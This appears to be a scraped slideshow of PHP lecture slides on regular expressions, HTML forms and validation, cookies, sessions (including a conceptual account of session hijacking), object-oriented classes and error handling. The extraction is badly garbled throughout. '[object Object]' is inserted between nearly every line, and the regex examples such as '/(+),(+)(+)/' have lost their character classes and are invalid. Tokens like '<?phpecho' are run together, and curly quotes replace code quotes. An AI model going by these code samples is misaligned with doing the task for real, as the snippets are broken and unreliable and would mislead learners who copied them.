Pattern replacement,[object Object],We can use the function preg_replace() to replace any matching strings.,[object Object],// strip any multiple spaces,[object Object],$input = ‘Some     comment string’;,[object Object],$regex = ‘/+/’;,[object Object],$clean = preg_replace($regex,’ ‘,$input);,[object Object],// ‘Some comment string’,[object Object]
Sub-references,[object Object],We’re not quite finished: we need to master the concept of sub-references. ,[object Object],Any bracketed expression in a regular expression is regarded as a sub-reference. You use it to extract the bits of data you want from a regular expression. ,[object Object],Easiest with an example..,[object Object]
Sub-reference example:,[object Object],I start with a date string in a particular format:,[object Object],$str = ’10, April 2007’;,[object Object],The regex that matches this is:,[object Object],$regex = ‘/+,++/’;,[object Object],If I want to extract the bits of data I bracket the relevant bits:,[object Object],$regex = ‘/(+),(+)(+)/’;,[object Object]
Extracting data..,[object Object],I then pass in an extra argument to the function preg_match():,[object Object],	$str = ’The date is 10, April 2007’;,[object Object],$regex = ‘/(+),(+)(+)/’;,[object Object],preg_match($regex,$str,$matches);,[object Object],	// $matches[0] = ‘10, April 2007’,[object Object],	// $matches[1] = 10,[object Object],	// $matches[2] = April,[object Object],	// $matches[3] = 2007,[object Object]
Back-references,[object Object],This technique can also be used to reference the original text during replacements with $1,$2,etc. in the replacement string:,[object Object],	$str = ’The date is 10, April 2007’;,[object Object],$regex = ‘/(+),(+)(+)/’;,[object Object],	$str = preg_replace($regex,,[object Object],’$1-$2-$3’,,[object Object],	                    $str);,[object Object],	// $str = ’The date is 10-April-2007’,[object Object]
Phew Again!,[object Object],We now know how to define regular expressions.,[object Object],We now also know how to use them: matching, replacement, data extraction.,[object Object]
Forms(Getting data from users) ,[object Object]
Forms: how they work ,[object Object],We need to know..,[object Object],How forms work.,[object Object],How to write forms in XHTML. ,[object Object],How to access the data in PHP.,[object Object]
How forms work,[object Object],User requests a particular URL,[object Object],XHTML Page supplied with Form,[object Object],User fills in form and submits. ,[object Object],Another URL is requested and the,[object Object],Form data is sent to this page either in,[object Object],URL or as a separate piece of data.,[object Object],User,[object Object],Web Server,[object Object],XHTML Response,[object Object]
XHTML Form,[object Object],The form is enclosed in form tags..,[object Object],<form action=“path/to/submit/page”,[object Object],	method=“get”>,[object Object],<!–- form contents -->,[object Object],</form>,[object Object]
Form tags,[object Object],action=“…” is the page that the form should submit its data to.,[object Object],method=“…” is the method by which the form data is submitted. The option are either get or post. If the method is get the data is passed in the url string, if the method is post it is passed as a separate file.,[object Object]
Form fields: text input,[object Object],Use a text input within form tags for a single line freeform text input.,[object Object],<label for=“fn">First Name</label>,[object Object],<input type="text" ,[object Object],       name="firstname",[object Object],       id=“fn" ,[object Object],       size="20"/>,[object Object]
Form tags,[object Object],name=“…” is the name of the field. You will use this name in PHP to access the data.,[object Object],id=“…” is label reference string – this should be the same as that referenced in the <label> tag.,[object Object],size=“…” is the length of the displayed text box (number of characters).,[object Object]
Form fields: password input,[object Object],Use a starred text input for passwords.,[object Object],<label for=“pw">Password</label>,[object Object],<input type=“password" ,[object Object],       name=“passwd",[object Object],       id=“pw" ,[object Object],       size="20"/>,[object Object]
Form fields: text input,[object Object],If you need more than 1 line to enter data, use a textarea.,[object Object],<label for="desc">Description</label>,[object Object],<textarea name=“description”,[object Object],          id=“desc“,[object Object],          rows=“10” cols=“30”>,[object Object],Default text goes here…,[object Object],</textarea>,[object Object]
Form fields: text area,[object Object],name=“…” is the name of the field. You will use this name in PHP to access the data.,[object Object],id=“…” is label reference string – this should be the same as that referenced in the <label> tag.,[object Object],rows=“…” cols=“..” is the size of the displayed text box.,[object Object]
Form fields: drop down,[object Object],<label for="tn">Where do you live?</label>,[object Object],<select name="town" id="tn">,[object Object],<option value="swindon">Swindon</option>,[object Object],<option value="london” ,[object Object],        selected="selected">London</option>,[object Object],<option value=“bristol">Bristol</option>,[object Object],</select>,[object Object]
Form fields: drop down,[object Object],name=“…” is the name of the field. ,[object Object],id=“…” is label reference string.,[object Object],<option value=“…” is the actual data sent back to PHP if the option is selected.,[object Object],<option>…</option> is the value displayed to the user.,[object Object],selected=“selected” this option is selected by default.,[object Object]
Form fields: radio buttons,[object Object],<input type="radio",[object Object], 		name="age",[object Object],		id="u30“,[object Object],		checked=“checked”,[object Object],		value="Under30" />,[object Object],<label for="u30">Under 30</label>,[object Object],<br />,[object Object],<input type="radio",[object Object],		name="age",[object Object],		id="thirty40",[object Object],		value="30to40" />,[object Object],<label for="thirty40">30 to 40</label>,[object Object]
Form fields: radio buttons,[object Object],name=“…” is the name of the field. All radio boxes with the same name are grouped with only one selectable at a time.,[object Object],id=“…” is label reference string.,[object Object],value=“…” is the actual data sent back to PHP if the option is selected.,[object Object],checked=“checked” this option is selected by default.,[object Object]
Form fields: check boxes,[object Object],What colours do you like?<br />,[object Object],<input type="checkbox",[object Object],		name="colour[]",[object Object],		id="r",[object Object],		checked="checked",[object Object],		value="red" />,[object Object],<label for="r">Red</label>,[object Object],<br />,[object Object],<input type="checkbox",[object Object],		name="colour[]",[object Object], 		id="b",[object Object],		value="blue" />,[object Object],<label for="b">Blue</label>,[object Object]
Form fields: check boxes,[object Object],name=“…” is the name of the field. Multiple checkboxes can be selected, so if the button are given the same name, they will overwrite previous values. The exception is if the name is given with square brackets – an array is returned to PHP.,[object Object],id=“…” is label reference string.,[object Object],value=“…” is the actual data sent back to PHP if the option is selected.,[object Object],checked=“checked” this option is selected by default.,[object Object]
Hidden Fields,[object Object],<input type="hidden",[object Object], 		name="hidden_value",[object Object],		value="My Hidden Value" />,[object Object],name=“…” is the name of the field. ,[object Object],value=“…” is the actual data sent back to PHP.,[object Object]
Submit button..,[object Object],A submit button for the form can be created with the code:,[object Object],<input type="submit" ,[object Object],       name="submit" ,[object Object],       value="Submit" />,[object Object]
Fieldset,[object Object],In XHTML 1.0, all inputs must be grouped within the form into fieldsets. These represent logical divisions through larger forms. For short forms, all inputs are contained in a single fieldset.,[object Object],<form>,[object Object],<fieldset>,[object Object],<input … />,[object Object],<input … />,[object Object],</fieldset>,[object Object],<fieldset>,[object Object],<input … />,[object Object],<input … />,[object Object],</fieldset>,[object Object],</form>,[object Object]
In PHP…,[object Object],The form variables are available to PHP in the page to which they have been submitted.,[object Object],The variables are available in two superglobal arrays created by PHP called $_POST and $_GET.,[object Object]
Access data,[object Object],Access submitted data in the relevant array for the submission type, using the input name as a key.,[object Object],<form action=“path/to/submit/page”     ,[object Object],      method=“get”>,[object Object],<input type=“text” name=“email”>,[object Object],</form>,[object Object],$email = $_GET[‘email’];,[object Object]
A warning.. ,[object Object],NEVER TRUST USER INPUT,[object Object],Always check what has been input.,[object Object],Validation can be undertaken using Regular expressions or in-built PHP functions. ,[object Object]
A useful tip..,[object Object],I find that storing the validated data in a different array to the original useful.,[object Object],I often name this array ‘clean’ or something similarly intuitive.,[object Object],I then *only* work with the data in $clean, and never refer to $_POST/$_GET again.,[object Object]
Example,[object Object],$clean = array();,[object Object],if (ctype_alnum($_POST['username'])),[object Object],{,[object Object],$clean['username'] = $_POST['username'];,[object Object],},[object Object]
Filter example,[object Object],$clean = array();,[object Object],if (ctype_alnum($_POST['username'])),[object Object],{,[object Object],$clean['username'] = $_POST['username'];,[object Object],},[object Object],$clean = array();,[object Object],Initialise an array to store filtered data.,[object Object]
Filter example,[object Object],$clean = array();,[object Object],if (ctype_alnum($_POST['username'])),[object Object],{,[object Object],$clean['username'] = $_POST['username'];,[object Object],},[object Object],if (ctype_alnum($_POST['username'])),[object Object],Inspect username to make sure that it is alphanumeric.,[object Object]
Filter example,[object Object],$clean = array();,[object Object],if (ctype_alnum($_POST['username'])),[object Object],{,[object Object],$clean['username'] = $_POST['username'];,[object Object],},[object Object],$clean['username'] = $_POST['username'];,[object Object],If it is, store it in the array.,[object Object]
Is it submitted?,[object Object],We also need to check before accessing data to see if the data is submitted, use isset() function.,[object Object],if (isset($_POST[‘username’])) {,[object Object],	// perform validation,[object Object],},[object Object]
Form Redisplaying,[object Object]
Eh?,[object Object],Now we know how to check whether or not user inputs conform to our rules…,[object Object],… we need to handle gracefully when they fail!,[object Object],User inputs come from forms, and we need to work out how to re-display forms on input validation failure.,[object Object]
What are we shooting for?,[object Object],Bullet-proof validation.,[object Object],On validation failure, form should be re-displayed to the user.,[object Object],Don’t make the user fill in fields again that they’ve already done correctly. ,[object Object],We want to have to write the form html only once.,[object Object],If validation fails, the user needs some feedback.,[object Object]
The One True Way?,[object Object],There are multiple ways to achieve this..,[object Object],I am going to demonstrate ONE way, but you should be aware that it’s not the ONLY way. ,[object Object]
Single Page,[object Object],Make the form submit to the same page. ,[object Object],Why? It keeps everything in one place, and means you only write the form once.,[object Object],<form action="<?phpecho$_SERVER['PHP_SELF']; ?>",[object Object],      method="post",[object Object],      …,[object Object]
Page Logic,[object Object],if (form has been submitted) {,[object Object],// validate form,[object Object],},[object Object],if (valid submission) {,[object Object],// action data,[object Object],} else {,[object Object],// (re)display form,[object Object],},[object Object]
Validation..,[object Object],if (form has been submitted) {,[object Object],// validate form,[object Object],},[object Object],    …can be implemented as…,[object Object],if (isset($_POST[‘submit’])) {,[object Object],// validate form,[object Object],},[object Object]
Maintain separation,[object Object],Maintaining separation between validated and un-validated data helps prevent you make mistakes.,[object Object],$_POST             $clean,[object Object],UNSAFESAFE,[object Object]
Accumulate errors..,[object Object],$errors = 0;,[object Object],$errmsg = ‘’;,[object Object],$clean  = array();,[object Object],if (isset($_POST[‘submit’])) {,[object Object],if ($_POST[‘value’] is VALID) {,[object Object],			$clean[‘value’] = $_POST[‘value’];,[object Object],		} else {,[object Object],       $errors++;,[object Object],       $errmsg .= ‘data not valid because…’;,[object Object],		},[object Object],// continue testing other fields..,[object Object],},[object Object]
Now to action or display..,[object Object],if (form has been submitted) {,[object Object],    // validate form,[object Object],},[object Object],if (valid submission) {,[object Object],// action data,[object Object],} else {,[object Object],// (re)display form,[object Object],},[object Object]
Now to action or display..,[object Object],if (isset($_POST[‘submit’])) && ,[object Object],    $errors===0) {,[object Object],// action data,[object Object],} else {,[object Object],// (re)display form,[object Object],},[object Object]
Redisplay form (1),[object Object],// if (re)displaying form: print,[object Object],// error message if redisplaying,[object Object],if ($error>0) {,[object Object],echo“<p>errors: $errmsg</p>";,[object Object],},[object Object]
Redisplay form (2),[object Object],<label for=“email">Email:</label>,[object Object],<input name=“email" ,[object Object],       size="40" ,[object Object],       value="<?phpecho,[object Object],isset($clean[‘email']) ?,[object Object],htmlentities($clean[‘email']) : ,[object Object],‘default'; ?>" ,[object Object],       id=“email" ,[object Object],       type="text“ />,[object Object]
Maintaining State in PHPPart I - Cookies,[object Object]
xHTML - a ‘stateless’ environment,[object Object],	stateless,[object Object],	(adj.) Having no information about what occurred previously. ,[object Object],Most modern applications maintain state, which means that they remember what you were doing last time you ran the application, and they remember all your configuration settings. This is extremely useful because it means you can mould the application to your working habits.,[object Object],Each request for a new web page is processed without any knowledge of previous pages requested or processed.,[object Object]
How do they do that?,[object Object],For example:,[object Object],	A user ‘logs in’ to a web page. Once logged in, the user can browse the site while maintaining their logged in state.,[object Object]
Is PHP stateless?,[object Object],Variables are destroyed as soon as the page script finishes executing.,[object Object],The script can access the ‘referrer’, the address of the previous page, although this can’t really be trusted.,[object Object],$_SERVER['HTTP_REFERER'],[object Object],It is possible to add data to a database/text file to add persistent data, although this is not connected with a particular user…,[object Object]
Is PHP Stateless… No!,[object Object],The usual way to maintain state in PHP pages is via the use of Sessions. ,[object Object],To understand how these work, we need to have a look at what and how cookies are..,[object Object]
What is a Cookie?,[object Object],A cookie is a small text file that is stored on a user’s computer.,[object Object],Each cookie on the user’s computer is connected to a particular domain.,[object Object],Each cookie be used to store up to 4kB of data.,[object Object],A maximum of 20 cookies can be stored on a user’s PC per domain.,[object Object]
Example (1),[object Object],1.  User sends a request for page at www.example.com for the first time.,[object Object],page request,[object Object]
Example (2),[object Object],2.  Server sends back the page xhtml to the browser AND stores some data in a cookie on the user’s PC.,[object Object],xhtml,[object Object],cookie data,[object Object]
Example (1),[object Object],3.  At the next page request for domain www.example.com, all cookie data associated with this domain is sent too.,[object Object],page request,[object Object],cookie data,[object Object]
Set a cookie,[object Object],setcookie(name [,value [,expire [,path [,domain [,secure]]]]]),[object Object],name = cookie name,[object Object],value = data to store (string),[object Object],expire = UNIX timestamp when the cookie expires. Default is that cookie expires when browser is closed.,[object Object],path = Path on the server within and below which the cookie is available on.,[object Object],domain = Domain at which the cookie is available for.,[object Object],secure = If cookie should be sent over HTTPS connection only. Default false.,[object Object]
Set a cookie - examples,[object Object],setcookie(‘name’,’Robert’),[object Object],	This command will set the cookie called name on theuser’s PC containing the data Robert. It will be available to all pages in the same directory or subdirectory of the page that set it (the default path and domain). It will expire and be deleted when the browser is closed (default expire). ,[object Object]
Set a cookie - examples,[object Object],setcookie(‘age’,’20’,time()+60*60*24*30),[object Object],	This command will set the cookie called age on theuser’s PC containing the data 20. It will be available to all pages in the same directory or subdirectory of the page that set it (the default path and domain). It will expire and be deleted after 30 days. ,[object Object]
Set a cookie - examples,[object Object],setcookie(‘gender’,’male’,0,’/’),[object Object],	This command will set the cookie called gender on theuser’s PC containing the data male. It will be available within the entire domain that set it. It will expire and be deleted when the browser is closed. ,[object Object]
Read cookie data,[object Object],All cookie data is available through the superglobal $_COOKIE:,[object Object],$variable = $_COOKIE[‘cookie_name’],[object Object],or,[object Object],$variable = $HTTP_COOKIE_VARS[‘cookie_name’];,[object Object],e.g.,[object Object],$age = $_COOKIE[‘age’],[object Object]
Storing an array..,[object Object],Only strings can be stored in Cookie files.,[object Object],To store an array in a cookie, convert it to a string by using the serialize() PHP function. ,[object Object],The array can be reconstructed using the unserialize() function once it had been read back in.,[object Object],Remember cookie size is limited! ,[object Object]
Delete a cookie,[object Object],To remove a cookie, simply overwrite the cookie with a new one with an expiry time in the past…,[object Object],setcookie(‘cookie_name’,’’,time()-6000),[object Object],Note that theoretically any number taken away from the time() function should do, but due to variations in local computer times, it is advisable to use a day or two.,[object Object]
To be first.. HEADER REQUESTS,[object Object],As the setcookie command involves sending a HTTP header request, it must be executed before any xhtml is echoed to the browser, including whitespace.,[object Object],echoed ,[object Object],whitespace ,[object Object],before,[object Object],setcookie,[object Object],correct!,[object Object],incorrect.,[object Object]
Malicious Cookie Usage,[object Object],There is a bit of a stigma attached to cookies – and they can be maliciously used (e.g. set via 3rd party banner ads).,[object Object],The important thing to note is that some people browse with them turned off.,[object Object],		e.g. in FF, Tools > Options > Privacy ,[object Object]
The USER is in control,[object Object],Cookies are stored client-side, so never trust them completely: They can be easily viewed, modified or created by a 3rd party.,[object Object],They can be turned on and off at will by the user.,[object Object]
Maintaining State in PHPPart II - Sessions,[object Object]
So…,[object Object]
How do ‘Sessions’ work?,[object Object],They are based on assigning each user a unique number, or session id. Even for extremely heavy use sites, this number can for all practical purposes can be regarded as unique.,[object Object], e.g.,[object Object],	26fe536a534d3c7cde4297abb45e275a,[object Object]
How do ‘Sessions’ work?,[object Object],This session id is stored in a cookie, or passed in the URL between pages while the user browses.,[object Object],The data to be stored (e.g. name, log-in state, etc.)  is stored securely server-side in a PHP superglobal, and referenced using the session id.,[object Object]
Crucially, sessions are easy to implement as PHP does all the work!,[object Object]
Starting or Resuming a Session,[object Object],session_start();,[object Object],	PHP does all the work: It looks for a valid session id in the $_COOKIE or $_GET superglobals – if found it initializes the data. If none found, a new session id is created. Note that like setcookie(), this function must be called before any echoed output to browser.,[object Object]
Starting or Resuming a Session,[object Object],session_start();,[object Object],When doing anything with sessions, this is always called first!,[object Object]
Storing Session Data,[object Object],The $_SESSION superglobal array can be used to store any session data.,[object Object],	e.g. ,[object Object],$_SESSION[‘name’] = $name;,[object Object],		$_SESSION[‘age’] = $age;,[object Object]
Reading Session Data,[object Object],Data is simply read back from the $_SESSION superglobal array.,[object Object],	e.g. ,[object Object],		$name = $_SESSION[‘name’];,[object Object],		$age = $_SESSION[‘age’];,[object Object]
Session Propagation,[object Object],Sessions need to pass the session id between pages as a user browses to track the session. ,[object Object],It can do this in two ways:,[object Object],Cookie propagation,[object Object],URL propagation,[object Object]
Cookie Propagation,[object Object],A cookie is stored on the users PC containing the session id.,[object Object],It is read in whenever session_start(); is called to initialize the session.,[object Object],Default behaviour is a cookie that expires when the browser is closed. Cookie properties can be modified with session_set_cookie_params if required.,[object Object]
URL Propagation,[object Object],The session id is propagated in the URL ,[object Object],	 (…some_folder/index.php?sid=26fe536a534d3c7cde4297abb45e275a),[object Object],PHP provides a global constant to append the session id to any internal links, SID.,[object Object],	e.g.,[object Object],<a href="nextpage.php?<?=SID?>">Next page</a>,[object Object]
Which one..?,[object Object],The default setup of a PHP server is to use both methods.,[object Object],it checks whether the user has cookies enabled.,[object Object],If cookies are on, PHP uses cookie propagation. If cookies are off it uses URL propagation.,[object Object]
And this means..?,[object Object],That as developers, we must be aware that sessions can be propagated through URL, and append the constant SIDto any internal links.,[object Object],If sessions are being propagated by cookies, the constant SID is an empty string, so the session id is not passed twice.,[object Object]
Destroying a Session,[object Object],Often not required, but if we want to destroy a session:,[object Object],// clear all session variables,[object Object],$_SESSION = array();,[object Object],// delete the session cookie if there is one,[object Object],if (isset($_COOKIE[session_name()])) {,[object Object],setcookie(session_name(),'',time()-42000,'/');,[object Object],},[object Object],// destroy session,[object Object],session_destroy();,[object Object],// avoid reusing the SID by redirecting ,[object Object],// back to the same page to regenerate session,[object Object],header('Location: '.$_SERVER['PHP_SELF']);,[object Object]
Session Expiry,[object Object],By default, PHP sessions expire:,[object Object],after a certain length of inactivity (default 1440s), the PHP garbage collection processes deletes session variables. Important as most sessions will not be explicitly destroyed.,[object Object],if propagated by cookies, default is to set a cookie that is destroyed when the browser is closed.,[object Object],If URL propagated, session id is lost as soon as navigate away from the site.,[object Object]
Long-term Sessions,[object Object],Although it is possible to customize sessions so that they are maintained after the browser is closed, for most practical purposes PHP sessions can be regarded as short-term. ,[object Object],Long-term session data (e.g. ‘remember me’ boxes) is usually maintained by explicitly setting and retrieving cookie data.,[object Object]
Session Hi-jacking,[object Object],A security issue: if a malicious user manages to get hold of an active session id that is not their own..,[object Object],	e.g.,[object Object],user 1 browsing site with cookies disabled (URL propagation).,[object Object],user 1 logs in.,[object Object],user 1 sends an interesting link to user 2 by email.. The URL copy and pasted contains his session id. ,[object Object],user 2 looks at the link before session id is destroyed, and ‘hijacks’ user 1’s session.,[object Object],user 2 is now logged in as user 1!!,[object Object]
… rule of thumb …,[object Object],	If you are truly security conscious you should assume that a session propagated by URL may be compromised. Propagation using cookies is more secure, but still not foolproof..,[object Object]
PHP Classes and Object Orientation,[object Object]
Reminder… a function,[object Object],Reusable piece of code.,[object Object],Has its own ‘local scope’.,[object Object],function my_func($arg1,$arg2) {,[object Object],<< function statements >>,[object Object],},[object Object]
Conceptually, what does a function represent? ,[object Object],…give the function something (arguments), it does something with them, and then returns a result…,[object Object],Action or Method,[object Object]
What is a class?,[object Object],Conceptually, a class represents an object, with associated methods and variables,[object Object]
Class Definition,[object Object],<?php,[object Object],class dog {,[object Object],public $name;,[object Object],public function bark() {,[object Object],echo‘Woof!’;},[object Object],} ,[object Object],?>,[object Object],An example class definition for a dog. The dog object has a single attribute, the name, and can perform the action of barking.,[object Object]
Class Definition,[object Object],<?php,[object Object],class dog {,[object Object],public $name;,[object Object],public function bark() {,[object Object],echo‘Woof!’;},[object Object],} ,[object Object],?>,[object Object],Define the name of the class.,[object Object],class dog {,[object Object]
Class Definition,[object Object],<?php,[object Object],class dog {,[object Object],var $name,[object Object],public function bark() {,[object Object],echo‘Woof!’;},[object Object],} ,[object Object],?>,[object Object],public $name;,[object Object],Define an object attribute (variable), the dog’s name.,[object Object]
Class Definition,[object Object],Define an object action (function), the dog’s bark.,[object Object],<?php,[object Object],class dog {,[object Object],public $name;,[object Object],function bark() {,[object Object],echo‘Woof!’;},[object Object],} ,[object Object],?>,[object Object],public function bark() {,[object Object],echo‘Woof!’;},[object Object]
Class Definition,[object Object],<?php,[object Object],class dog {,[object Object],public $name;,[object Object],public function bark() {,[object Object],echo‘Woof!’;},[object Object],} ,[object Object],?>,[object Object],End the class definition,[object Object],},[object Object]
Class Defintion,[object Object],Similar to defining a function..,[object Object],The definition does not do anythingby itself. It is a blueprint, or description, of an object. To do something, you need to use the class…,[object Object]
Class Usage,[object Object],<?php,[object Object],require(‘dog.class.php’);,[object Object],$puppy = new dog();,[object Object],$puppy->name = ‘Rover’;,[object Object],echo “{$puppy->name} says ”;,[object Object],$puppy->bark();,[object Object],?>,[object Object]
Class Usage,[object Object],<?php,[object Object],require(‘dog.class.php’);,[object Object],$puppy = new dog();,[object Object],$puppy->name = ‘Rover’;,[object Object],echo “{$puppy->name} says ”;,[object Object],$puppy->bark();,[object Object],?>,[object Object],require(‘dog.class.php’);,[object Object],Include the class definition,[object Object]
Class Usage,[object Object],<?php,[object Object],require(‘dog.class.php’);,[object Object],$puppy = new dog();,[object Object],$puppy->name = ‘Rover’;,[object Object],echo “{$puppy->name} says ”;,[object Object],$puppy->bark();,[object Object],?>,[object Object],$puppy = new dog();,[object Object],Create a new instance of the class.,[object Object]
Class Usage,[object Object],<?php,[object Object],require(‘dog.class.php’);,[object Object],$puppy = new dog();,[object Object],$puppy->name = ‘Rover’;,[object Object],echo “{$puppy->name} says ”;,[object Object],$puppy->bark();,[object Object],?>,[object Object],$puppy->name = ‘Rover’;,[object Object],Set the name variable of this instance to ‘Rover’.,[object Object]
Class Usage,[object Object],Use the name variable of this instance in an echo statement..,[object Object],<?php,[object Object],require(‘dog.class.php’);,[object Object],$puppy = new dog();,[object Object],$puppy->name = ‘Rover’;,[object Object],echo “{$puppy->name} says ”;,[object Object],$puppy->bark();,[object Object],?>,[object Object],echo “{$puppy->name} says ”;,[object Object]
Class Usage,[object Object],<?php,[object Object],require(‘dog.class.php’);,[object Object],$puppy = new dog();,[object Object],$puppy->name = ‘Rover’;,[object Object],echo “{$puppy->name} says ”;,[object Object],$puppy->bark();,[object Object],?>,[object Object],$puppy->bark();,[object Object],Use the dog object bark method.,[object Object]
Class Usage,[object Object],<?php,[object Object],require(‘dog.class.php’);,[object Object],$puppy = new dog();,[object Object],$puppy->name = ‘Rover’;,[object Object],echo “{$puppy->name} says ”;,[object Object],$puppy->bark();,[object Object],?>,[object Object],[example file: classes1.php],[object Object]
One dollar and one only…,[object Object],$puppy->name = ‘Rover’;,[object Object],The most common mistake is to use more than one dollar sign when accessing variables. The following means something entirely different..,[object Object],$puppy->$name = ‘Rover’;,[object Object]
Using attributes within the class..,[object Object],If you need to use the class variables within any class actions, use the special variable $this in the definition:,[object Object],	class dog {,[object Object],public $name;,[object Object],public function bark() {,[object Object],echo $this->name.‘ says Woof!’; },[object Object],	} ,[object Object]
Constructor methods,[object Object],A constructor method is a function that is automatically executed when the class is first instantiated.,[object Object],Create a constructor by including a function within the class definition with the __construct name.,[object Object],Remember.. if the constructor requires arguments, they must be passed when it is instantiated!,[object Object]
Constructor Example,[object Object],<?php,[object Object],class dog {,[object Object],public $name;,[object Object],public function__construct($nametext) {,[object Object],		$this->name = $nametext;,[object Object],	},[object Object],public function bark() {,[object Object],echo ‘Woof!’;},[object Object],} ,[object Object],?>,[object Object],Constructor function,[object Object]
Constructor Example,[object Object],<?php,[object Object],…,[object Object],$puppy = new dog(‘Rover’);,[object Object],		…,[object Object],?>,[object Object],Constructor arguments are passed during the instantiation of the object.,[object Object]
Class Scope,[object Object],Like functions, each instantiated object has its own local scope.,[object Object],	e.g. if 2 different dog objects are instantiated, $puppy1 and $puppy2, the two dog names $puppy1->name and $puppy2->name are entirely independent..,[object Object]
Inheritance,[object Object],The real power of using classes is the property of inheritance – creating a hierarchy of interlinked classes. ,[object Object],dog,[object Object],parent,[object Object],children,[object Object],poodle,[object Object],alsatian,[object Object]
Inheritance,[object Object],The child classes ‘inherit’ all the methods and variables of the parent class, and can add extra ones of their own. ,[object Object],	e.g. the child classes poodle inherits the variable ‘name’ and method ‘bark’ from the dog class, and can add extra ones…,[object Object]
Inheritance example,[object Object],The American Kennel Club (AKC) recognizes three sizes of poodle -  Standard,,[object Object],Miniature, and Toy… ,[object Object],		class poodle extends dog {,[object Object],public $type;,[object Object],public function set_type($height) {,[object Object],if ($height<10) { ,[object Object],					$this->type = ‘Toy’;,[object Object],				} elseif ($height>15) {,[object Object],					$this->type = ‘Standard’;,[object Object],				} else {,[object Object],					$this->type = ‘Miniature’;,[object Object],				},[object Object],			},[object Object],		},[object Object]
Inheritance example,[object Object],The American Kennel Club (AKC) recognizes three sizes of poodle -  Standard,,[object Object],Miniature, and Toy… ,[object Object],		class poodle extends dog {,[object Object],public $type,[object Object],public function set_type($height) {,[object Object],if ($height<10) { ,[object Object],					$this->type = ‘Toy’;,[object Object],				} elseif ($height>15) {,[object Object],					$this->type = ‘Standard’;,[object Object],				} else {,[object Object],					$this->type = ‘Miniature’;,[object Object],				},[object Object],			},[object Object],		},[object Object],class poodle extends dog {,[object Object],Note the use of the extends keyword to indicate that the poodle class is a child of the dog class…,[object Object]
Inheritance example,[object Object],…,[object Object],$puppy = new poodle(‘Oscar’);,[object Object],$puppy->set_type(12); // 12 inches high!,[object Object],echo“Poodle is called {$puppy->name}, ”;,[object Object],echo“of type {$puppy->type}, saying “;,[object Object],echo $puppy->bark();,[object Object],…,[object Object]
…a poodle will always ‘Yip!’,[object Object],It is possible to over-ride a parent method with a new method if it is given the same name in the child class..,[object Object],		class poodle extends dog {,[object Object],			…,[object Object],public function bark() {,[object Object],echo ‘Yip!’;,[object Object],			},[object Object],			…,[object Object],		},[object Object]
Child Constructors?,[object Object],If the child class possesses a constructor function, it is executed and any parent constructor is ignored.,[object Object],If the child class does not have a constructor, the parent’s constructor is executed.,[object Object],If the child and parent does not have a constructor, the grandparent constructor is attempted…,[object Object],… etc.,[object Object]
Objects within Objects,[object Object],It is perfectly possible to include objects within another object..,[object Object],class dogtag {    public $words;}class dog {    public $name;    public $tag;    public function bark() {        echo "Woof!";    }} ,[object Object],…,[object Object],$puppy = new dog;$puppy->name = “Rover";$poppy->tag = new dogtag;$poppy->tag->words = “blah”;,[object Object],… ,[object Object]
Deleting objects,[object Object],So far our objects have not been destroyed till the end of our scripts..,[object Object],Like variables, it is possible to explicitly destroy an object using the unset() function. ,[object Object]
A copy, or not a copy..,[object Object],Entire objects can be passed as arguments to functions, and can use all methods/variables within the function. ,[object Object],Remember however.. like functions the object is COPIED when passed as an argument unless you specify the argument as a reference variable &$variable,[object Object]
Why Object Orientate?,[object Object],Reason 1,[object Object],	Once you have your head round the concept of objects, intuitively named object orientated code becomes easy to understand.,[object Object],	e.g. ,[object Object],		 $order->display_basket();,[object Object],		 $user->card[2]->pay($order);,[object Object],		 $order->display_status();,[object Object]
Why Object Orientate?,[object Object],Reason 2,[object Object],	Existing code becomes easier to maintain.,[object Object],e.g. If you want to extend the capability of a piece of code, you can merely edit the class definitions…,[object Object]
Why Object Orientate?,[object Object],Reason 3,[object Object],	New code becomes much quicker to write once you have a suitable class library.,[object Object],e.g. Need a new object..? Usually can extend an existing object. A lot of high quality code is distributed as classes (e.g. http://pear.php.net).,[object Object]
There is a lot more…,[object Object],We have really only touched the edge of object orientated programming…,[object Object],http://www.php.net/manual/en/language.oop.php,[object Object],… but I don’t want to confuse you too much!,[object Object]
PHP4 vs. PHP5,[object Object],OOP purists will tell you that the object support in PHP4 is sketchy. They are right, in that a lot of features are missing.,[object Object],PHP5 OOP system has had a big redesign and is much better. ,[object Object],	…but it is worth it to produce OOP ,[object Object],code in either PHP4 or PHP5…,[object Object]
PHP Error Handling,[object Object]
Types ,[object Object],There are 12 unique error types, which can,[object Object],be grouped into 3 main categories:,[object Object],Informational (Notices),[object Object],Actionable (Warnings),[object Object],Fatal,[object Object]
Informational Errors,[object Object],Harmless problem, and can be avoided through use of explicit programming.,[object Object],	e.g. use of an undefined variable, defining a string without quotes, etc. ,[object Object],See class example error1.php,[object Object]
Actionable Errors,[object Object],Indicate that something clearly wrong has happened and that action should be taken.,[object Object],	e.g. file not present, database not available, missing function arguments, etc.,[object Object],See class example error2.php,[object Object]
Fatal Errors,[object Object],Something so terrible has happened during execution of your script that further processing simply cannot continue.,[object Object],	e.g. parsing error, calling an undefined function, etc. ,[object Object],See class example error3.php,[object Object]
Identifying Errors,[object Object],notice,[object Object],warning,[object Object],fatal,[object Object]
Causing errors,[object Object],It is possible to cause PHP at any point in your script.,[object Object],trigger_error($msg,$type);,[object Object],e.g.,[object Object],…,[object Object],if (!$db_conn) {,[object Object],trigger_error(‘db conn failed’,E_USER_ERROR);,[object Object],	},[object Object],	…,[object Object]
PHP Error Handling,[object Object]
Customizing Error Handling,[object Object],Generally, how PHP handles errors is defined by various constants in the installation (php.ini). ,[object Object],There are several things you can control in your scripts however.. ,[object Object]
1. Set error reporting settings,[object Object],error_reporting($level),[object Object],	This function can be used to control which errors are displayed, and which are simply ignored.  The effect only lasts for the duration of the execution of your script. ,[object Object]
1. Set error reporting settings,[object Object],<?php,[object Object],// Turn off all error reporting,[object Object],error_reporting(0);,[object Object],// Report simple running errors,[object Object],error_reporting(E_ERROR | E_WARNING | E_PARSE);,[object Object],// Reporting E_NOTICE can be good too (to report uninitialized,[object Object],// variables or catch variable name misspellings ...),[object Object],error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);,[object Object],// Report all errors except E_NOTICE,[object Object],error_reporting(E_ALL ^ E_NOTICE);,[object Object],// Report ALL PHP errors,[object Object],error_reporting(E_ALL);,[object Object],?>,[object Object],See class example error4.php,[object Object]
1. Set error reporting settings,[object Object],Hiding errors is NOT a solution to a problem. ,[object Object],It is useful, however, to hide any errors produced on a live server. ,[object Object],While developing and debugging code, displaying all errors is highly recommended!,[object Object]
